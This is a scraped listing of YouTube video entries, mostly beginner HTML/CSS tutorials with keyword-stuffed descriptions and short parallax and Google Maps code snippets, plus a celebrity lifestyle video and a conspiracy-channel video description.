method, encript multipart/form-data, fieldset, legent, input, typetext number, password, email, color, date, month, day, radio, checkbox, range, select, option, textarea, button, reset, submit, attribute, onclick, alert, maxlength, max, min, pattern, size, rows, cols, list, name, datalist, id, optgroup, readonly, disabled, hidden, required, value, placeholder, label CSS & CSS3 -------------------- accelerator azimuth background background-attachment background-color background-image background-position background-position-x background-position-y background-repeat behavior border border-bottom border-bottom-color border-bottom-style border-bottom-width border-collapse border-color border-left border-left-color border-left-style border-left-width border-right border-right-color border-right-style border-right-width border-spacing border-style border-top border-top-color border-top-style border-top-width border-width bottom caption-side clear clip color content counter-increment counter-reset cue cue-after cue-before cursor direction display elevation empty-cells filter float font font-family font-size font-size-adjust font-stretch font-style font-variant font-weight height ime-mode include-source layer-background-color layer-background-image layout-flow layout-grid layout-grid-char layout-grid-char-spacing layout-grid-line layout-grid-mode layout-grid-type left letter-spacing line-break line-height list-style list-style-image list-style-position list-style-type margin margin-bottom margin-left margin-right margin-top marker-offset marks max-height max-width min-height min-width -moz-binding -moz-border-radius -moz-border-radius-topleft -moz-border-radius-topright -moz-border-radius-bottomright -moz-border-radius-bottomleft -moz-border-top-colors -moz-border-right-colors -moz-border-bottom-colors -moz-border-left-colors -moz-opacity -moz-outline -moz-outline-color -moz-outline-style -moz-outline-width -moz-user-focus -moz-user-input -moz-user-modify -moz-user-select orphans outline outline-color outline-style outline-width overflow overflow-X overflow-Y padding padding-bottom padding-left padding-right padding-top page page-break-after page-break-before page-break-inside pause pause-after pause-before pitch pitch-range play-during position quotes -replace richness right ruby-align ruby-overhang ruby-position -set-link-source size speak speak-header speak-numeral speak-punctuation speech-rate stress scrollbar-arrow-color scrollbar-base-color scrollbar-dark-shadow-color scrollbar-face-color scrollbar-highlight-color scrollbar-shadow-color scrollbar-3d-light-color scrollbar-track-color table-layout text-align text-align-last text-decoration text-indent text-justify text-overflow text-shadow text-transform text-autospace text-kashida-space text-underline-position top unicode-bidi -use-link-source vertical-align visibility voice-family volume white-space widows width word-break word-spacing word-wrap writing-mode z-index zoom All ----------------------------- Html, Html5, Css, Css3, Javascript, Jquery, Angular js, Php, Mysql, C#, Java, Phyton etc HTML,CSS,JavaScript,DOM,jQuery,PHP,SQL,XML,Bootstrap,Web,W3CSS,W3C,tutorials,programming,development,training,learning,quiz,primer,lessons,reference,examples,source code,colors,demos,tips,w3c
Views: 100 Answer BD
HTML Tutorials for Beginners 24 - Head tags 5 - StyleSheet
 
05:09
html style, html stylesheet, html style class id, html style tag, html styles - css, html style class, html style background image, html stylesheet tutorial, html style attribute, html style height vh, html style z-index, html style css, html style sheets, html style tutorial, html style a button, html font style and color code, html border style, html button style, html table border style, style the html body element, html body style, html change font style, html font style codes, css stylesheet in html, html cascading style sheets, html table style without css, style css w html, div style html, html external style sheet, style en html, html style form, html font style, html style guide, style sheets in html in hindi, style tag in html in hindi, how to style html with css, html hr style, how to style html, how to style html forms, html list style, html ul list style, html link style, html paragraph style, html styles, html styles tutorial, html style select dropdown, html internal style sheet, html style tag inline, html table style, html text style, html video style html stylesheet, html stylesheet tutorial, html link css stylesheet, link a stylesheet html
Views: 1261 T3SO Tutorials
Parallax Image Scrolling
 
01:52
This is a video of my web programming work in HTML. This is a work called parallax image where the content moves while the image stays the same for awhile. I put up a website where the HTML code shown in this video is and be allowed for editing through other developers and improve their own work. But if some of you want me to do this feature of web programming in your websites, order my services at this link: https://www.fiverr.com/towcal/perform-custom-web-programming?funnel=2fad7238-1e19-4ca0-97bb-1f0779c9befe. The web code for this parallax image scrolling are these lines: _______________________________________________________ !DOCTYPE html html head style body, html { height: 100%; } .parallax { /* The image used */ background-image: url('https://otakukart.com/animeblog/wp-content/uploads/2017/10/son_goku_ultra_instinct_form_by_rmehedi-dbpwu2b.png'); /* Full height */ height: 500px; /* Create the parallax scrolling effect */ background-attachment: fixed; background-position: center; background-repeat: no-repeat; background-size: cover; } .parall { /* The image used */ background-image: url('http://media.comicbook.com/2017/10/goku-ultra-instinct-vs-jiren-dragon-ball-super-1037687.jpg'); /* Full height */ height: 500px; /* Create the parallax scrolling effect */ background-attachment: fixed; background-position: center; background-repeat: no-repeat; background-size: cover; } /style /head body div class="parallax"/div div style="height:200px;background-color:red;font-size:36px" Seeing this bar moving down but the picture stays the same for awhile. /div div class="parallax"/div div class="parall"/div div style="height:200px;background-color:red;font-size:36px" Seeing this bar moving down but the picture stays the same for awhile. /div div class="parall"/div /body /html _____________________________________________________________ See my other videos of coding work and subscribe to them: https://www.youtube.com/channel/UCdhZjVbM-pS3sL1iqtjyDgQ Check out my wordpress website: https://teachexceltrick.wordpress.com/about/ Check out my fiverr gigs to get your own web codes added to your sites: https://www.fiverr.com/towcal
Views: 56 streawalk
CSS Cascading Style Sheets | Height and Weight in CSS | Background Image | Example | Part 25
 
12:05
max height and max width in css. min height a+nd min width in css. height and width in css. click here to see more videos. https://www.youtube.com/playlist?list=PLJumA3phskPFF72RxLwVUnPGtqvfFGanB Video by Edupedia World (www.edupediaworld.com), Online Education, All Right Reserved.
Views: 131 Edupedia World
HTML & HTML5 Image Tutorial Bangla 9
 
06:35
html tutorial in bangla HTML & HTML5 Html image style with design Html, Html5, Css, Css3, Javascript, Jquery, Angular js, Php, Mysql, C#, Java, Phyton etc HTML,CSS,JavaScript,DOM,jQuery,PHP,SQL,XML,Bootstrap,Web,W3CSS,W3C,tutorials,programming,development,training,learning,quiz,primer,lessons,reference,examples,source code,colors,demos,tips,w3c ----------------------------- a, href, terget, blank, class, id, title, img, src, width, height, style, alt, h1, h2, h3, h4, h5, h6, paragrape, bold, italic, underline, dd, dl, dt, ul, ol, li, div, span, strong, big, small, table, tbody, thead, th, tr, td, colspan, rowspan, cellspacing, cellpadding, blink, textarea, doctype, abbr, address, area, article, aside, audio, base, bdo, blockquot, body, br, canvas, caption, center, code, col, colgroup, del, details, dfn, em, embed, figcaption, figure, font, font family, font color, frame, frameset, head, header, iframe, ins, kbd, link, main, map, mark, menu, menuitem, meta, tag, contant, nav, noscript, script, object, output, param, picture, pre, progress, q, rp, rt, ruby, s, samp, section, source, strike, sub, sup, summary, svg, template, tfoot, time, track, tt, var, video, wbr, dir, header, footer, dialog, data, accept, align, autocomplete, autofocus, autoplay, bgcolor, background, border, charset, cite, content, controls, default, dirname, download, enctype, http-equiv, ismap, kind, lang, loop, marquee, low, media, onchange, oncopy, oncut, ondrop, onlood, pattern, rel, scope, shape, srclang, step, wrap, form, action, method, encript multipart/form-data, fieldset, legent, input, typetext number, password, email, color, date, month, day, radio, checkbox, range, select, option, textarea, button, reset, submit, attribute, onclick, alert, maxlength, max, min, pattern, size, rows, cols, list, name, datalist, id, optgroup, readonly, disabled, hidden, required, value, placeholder, label CSS & CSS3 -------------------- accelerator azimuth background background-attachment background-color background-image background-position background-position-x background-position-y background-repeat behavior border border-bottom border-bottom-color border-bottom-style border-bottom-width border-collapse border-color border-left border-left-color border-left-style border-left-width border-right border-right-color border-right-style border-right-width border-spacing border-style border-top border-top-color border-top-style border-top-width border-width bottom caption-side clear clip color content counter-increment counter-reset cue cue-after cue-before cursor direction display elevation empty-cells filter float font font-family font-size font-size-adjust font-stretch font-style font-variant font-weight height ime-mode include-source layer-background-color layer-background-image layout-flow layout-grid layout-grid-char layout-grid-char-spacing layout-grid-line layout-grid-mode layout-grid-type left letter-spacing line-break line-height list-style list-style-image list-style-position list-style-type margin margin-bottom margin-left margin-right margin-top marker-offset marks max-height max-width min-height min-width -moz-binding -moz-border-radius -moz-border-radius-topleft -moz-border-radius-topright -moz-border-radius-bottomright -moz-border-radius-bottomleft -moz-border-top-colors -moz-border-right-colors -moz-border-bottom-colors -moz-border-left-colors -moz-opacity -moz-outline -moz-outline-color -moz-outline-style -moz-outline-width -moz-user-focus -moz-user-input -moz-user-modify -moz-user-select orphans outline outline-color outline-style outline-width overflow overflow-X overflow-Y padding padding-bottom padding-left padding-right padding-top page page-break-after page-break-before page-break-inside pause pause-after pause-before pitch pitch-range play-during position quotes -replace richness right ruby-align ruby-overhang ruby-position -set-link-source size speak speak-header speak-numeral speak-punctuation speech-rate stress scrollbar-arrow-color scrollbar-base-color scrollbar-dark-shadow-color scrollbar-face-color scrollbar-highlight-color scrollbar-shadow-color scrollbar-3d-light-color scrollbar-track-color table-layout text-align text-align-last text-decoration text-indent text-justify text-overflow text-shadow text-transform text-autospace text-kashida-space text-underline-position top unicode-bidi -use-link-source vertical-align visibility voice-family volume white-space widows width word-break word-spacing word-wrap writing-mode z-index zoom All ----------------------------- Html, Html5, Css, Css3, Javascript, Jquery, Angular js, Php, Mysql, C#, Java, Phyton etc HTML,CSS,JavaScript,DOM,jQuery,PHP,SQL,XML,Bootstrap,Web,W3CSS,W3C,tutorials,programming,development,training,learning,quiz,primer,lessons,reference,examples,source code,colors,demos,tips,w3c
Views: 51 Answer BD
HTML & HTML5 Path Identification Tutorial Bangla 8
 
05:27
html tutorial in bangla HTML & HTML5 HTML File Paths Html, Html5, Css, Css3, Javascript, Jquery, Angular js, Php, Mysql, C#, Java, Phyton etc HTML,CSS,JavaScript,DOM,jQuery,PHP,SQL,XML,Bootstrap,Web,W3CSS,W3C,tutorials,programming,development,training,learning,quiz,primer,lessons,reference,examples,source code,colors,demos,tips,w3c ----------------------------- a, href, terget, blank, class, id, title, img, src, width, height, style, alt, h1, h2, h3, h4, h5, h6, paragrape, bold, italic, underline, dd, dl, dt, ul, ol, li, div, span, strong, big, small, table, tbody, thead, th, tr, td, colspan, rowspan, cellspacing, cellpadding, blink, textarea, doctype, abbr, address, area, article, aside, audio, base, bdo, blockquot, body, br, canvas, caption, center, code, col, colgroup, del, details, dfn, em, embed, figcaption, figure, font, font family, font color, frame, frameset, head, header, iframe, ins, kbd, link, main, map, mark, menu, menuitem, meta, tag, contant, nav, noscript, script, object, output, param, picture, pre, progress, q, rp, rt, ruby, s, samp, section, source, strike, sub, sup, summary, svg, template, tfoot, time, track, tt, var, video, wbr, dir, header, footer, dialog, data, accept, align, autocomplete, autofocus, autoplay, bgcolor, background, border, charset, cite, content, controls, default, dirname, download, enctype, http-equiv, ismap, kind, lang, loop, marquee, low, media, onchange, oncopy, oncut, ondrop, onlood, pattern, rel, scope, shape, srclang, step, wrap, form, action, method, encript multipart/form-data, fieldset, legent, input, typetext number, password, email, color, date, month, day, radio, checkbox, range, select, option, textarea, button, reset, submit, attribute, onclick, alert, maxlength, max, min, pattern, size, rows, cols, list, name, datalist, id, optgroup, readonly, disabled, hidden, required, value, placeholder, label CSS & CSS3 -------------------- accelerator azimuth background background-attachment background-color background-image background-position background-position-x background-position-y background-repeat behavior border border-bottom border-bottom-color border-bottom-style border-bottom-width border-collapse border-color border-left border-left-color border-left-style border-left-width border-right border-right-color border-right-style border-right-width border-spacing border-style border-top border-top-color border-top-style border-top-width border-width bottom caption-side clear clip color content counter-increment counter-reset cue cue-after cue-before cursor direction display elevation empty-cells filter float font font-family font-size font-size-adjust font-stretch font-style font-variant font-weight height ime-mode include-source layer-background-color layer-background-image layout-flow layout-grid layout-grid-char layout-grid-char-spacing layout-grid-line layout-grid-mode layout-grid-type left letter-spacing line-break line-height list-style list-style-image list-style-position list-style-type margin margin-bottom margin-left margin-right margin-top marker-offset marks max-height max-width min-height min-width -moz-binding -moz-border-radius -moz-border-radius-topleft -moz-border-radius-topright -moz-border-radius-bottomright -moz-border-radius-bottomleft -moz-border-top-colors -moz-border-right-colors -moz-border-bottom-colors -moz-border-left-colors -moz-opacity -moz-outline -moz-outline-color -moz-outline-style -moz-outline-width -moz-user-focus -moz-user-input -moz-user-modify -moz-user-select orphans outline outline-color outline-style outline-width overflow overflow-X overflow-Y padding padding-bottom padding-left padding-right padding-top page page-break-after page-break-before page-break-inside pause pause-after pause-before pitch pitch-range play-during position quotes -replace richness right ruby-align ruby-overhang ruby-position -set-link-source size speak speak-header speak-numeral speak-punctuation speech-rate stress scrollbar-arrow-color scrollbar-base-color scrollbar-dark-shadow-color scrollbar-face-color scrollbar-highlight-color scrollbar-shadow-color scrollbar-3d-light-color scrollbar-track-color table-layout text-align text-align-last text-decoration text-indent text-justify text-overflow text-shadow text-transform text-autospace text-kashida-space text-underline-position top unicode-bidi -use-link-source vertical-align visibility voice-family volume white-space widows width word-break word-spacing word-wrap writing-mode z-index zoom All ----------------------------- Html, Html5, Css, Css3, Javascript, Jquery, Angular js, Php, Mysql, C#, Java, Phyton etc HTML,CSS,JavaScript,DOM,jQuery,PHP,SQL,XML,Bootstrap,Web,W3CSS,W3C,tutorials,programming,development,training,learning,quiz,primer,lessons,reference,examples,source code,colors,demos,tips,w3c
Views: 40 Answer BD
Dan Bilzerian Lifestyle
 
03:32
Support me on instagram https://www.instagram.com/Gagan_Sharma_7/ Support me on Twitter - https://twitter.com/CarsForYou_7 SHOP NOW ON AMAZON PAGE - https://www.amazon.com/shop/carsforyou _________________________________________________________________ Dan Bilzerian American internet personality Dan Brandon Bilzerian is an American Internet personality and gambler who is mostly known for his lavish lifestyle. Wikipedia Born: 7 December 1980 (age 37 years), Tampa, Florida, United States Height: 1.74 m Net worth: US$110 million (April 2018) Partner(s): Alana Kari (2012-2013); Andreea Bolbea (2013-2014) Parents: Paul Bilzerian, Terri Steffen #dan #bilzerian #danbilzerian #lifestyle #danbilzerianlifestyle #cars #carcollection #girls _________________________________________________________________ Music - BASS BOOSTED TRAP MUSIC MIX : COPYRIGHT FREE EDITION http://shrinkybee.com/B6tpDU -~-~~-~~~-~~-~- ________________________________________________________________________________ The Music And Visual are not Own by me - All Credit Goes to their Respective Producer and Owners Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for "fair use" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statute that might otherwise be infringing. Non-profit, educational or personal use tips the balance in favor of fair use. -~-~~-~~~-~~-~-
Views: 13404173 Cars For You
The Mysterious Death of Michael Jackson
 
05:21
"The Mysterious Death of Michael Jackson When pop legend Michael Jackson unexpectedly died in 2009, it was immediately clear that something strange had happened. As it was investigated, evidence came to light to suggest that the Prince of Pop's death was not all that it seemed... Don't forget to Subscribe for more Conspiracies! - http://bit.ly/1dmVsvF A massive thank you to our super fans who have supported us on our Patreon page. Feel free to take a look at the rewards we have on offer for our supporters here: https://www.patreon.com/alltimeconspiracies?ty=h --------------------- Video Endboard Link: Who Really Killed Kurt Cobain?: https://www.youtube.com/watch?v=GZdTQ1GEObE --------------------- Watch more Alltime Conspiracies: - Was Heath Ledger Murdered?: https://www.youtube.com/watch?v=Yr-6kXxatd0 - Did The CIA Assassinate JFK?: https://www.youtube.com/watch?v=K7HBIhK251A - Who Really Killed Kurt Cobain?: https://www.youtube.com/watch?v=GZdTQ1GEObE --------------------- Like us on Facebook - http://on.fb.me/1eWsxhV Follow us on Twitter - http://bit.ly/MNqFgY Alltime's greatest conspiracies... http://bit.ly/1eRToNK
Views: 20978587 Alltime Conspiracies
How to insert Google Maps to your designed webpage WITHOUT JAVASCRIPT!!! [Proof Added]
 
03:54
The code is... (!DOCTYPE html) (html) (head) (script src = "https://maps.googleapis.com/maps/api/js")(/script) (script) function loadMap() { var mapOptions = { center:new google.maps.LatLng(20.593684, 78.96288), zoom:12, mapTypeId:google.maps.MapTypeId.ROADMAP }; var map = new google.maps.Map(document.getElementById("sample"),mapOptions); } (/script) (/head) (body onload = "loadMap()") (div id = "sample" style = "width:570px; height:580px;")(/div) (h1) Hello I am Ahir!!!(/h1) (/body) Please change all circular brackets to angular brackets... I have changed them becz angular brackets are not allowed in description... Hit that like button and Subscribe for more...